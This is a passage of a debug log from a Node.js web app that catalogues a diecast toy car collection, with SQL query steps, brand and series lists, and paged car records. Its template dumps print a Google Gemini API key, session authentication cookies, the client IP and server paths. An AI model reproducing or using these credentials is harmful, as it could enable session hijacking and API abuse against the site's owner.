  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2025-12-13T13:20:39.401Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2025-12-13T13:20:39.402Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2025-12-13T13:20:39.402Z server-connect:app Executing action step select
2025-12-13T13:20:39.402Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-13T13:20:39.404Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2025-12-13T13:20:39.404Z server-connect:app Executing action step select
2025-12-13T13:20:39.404Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-13T13:20:39.406Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2025-12-13T13:20:39.408Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-13T13:22:14.940Z server-connect:router Serving templateView /diecast
2025-12-13T13:22:14.940Z server-connect:app Executing action step identify
2025-12-13T13:22:14.940Z server-connect:app options: { provider: 'security' }
2025-12-13T13:22:14.940Z server-connect:output identity: 1
2025-12-13T13:22:14.940Z server-connect:app Executing action step restrict
2025-12-13T13:22:14.940Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T13:22:14.942Z server-connect:output restrict: undefined
2025-12-13T13:22:14.942Z server-connect:router Render template layouts/main
2025-12-13T13:22:14.942Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2025-12-13T13:24:35.245Z server-connect:router Serving templateView /collections
2025-12-13T13:24:35.246Z server-connect:app Executing action step identify
2025-12-13T13:24:35.246Z server-connect:app options: { provider: 'security' }
2025-12-13T13:24:35.246Z server-connect:output identity: 1
2025-12-13T13:24:35.246Z server-connect:app Executing action step restrict
2025-12-13T13:24:35.246Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T13:24:35.247Z server-connect:output restrict: undefined
2025-12-13T13:24:35.247Z server-connect:router Render template masters/collections
2025-12-13T13:24:35.247Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
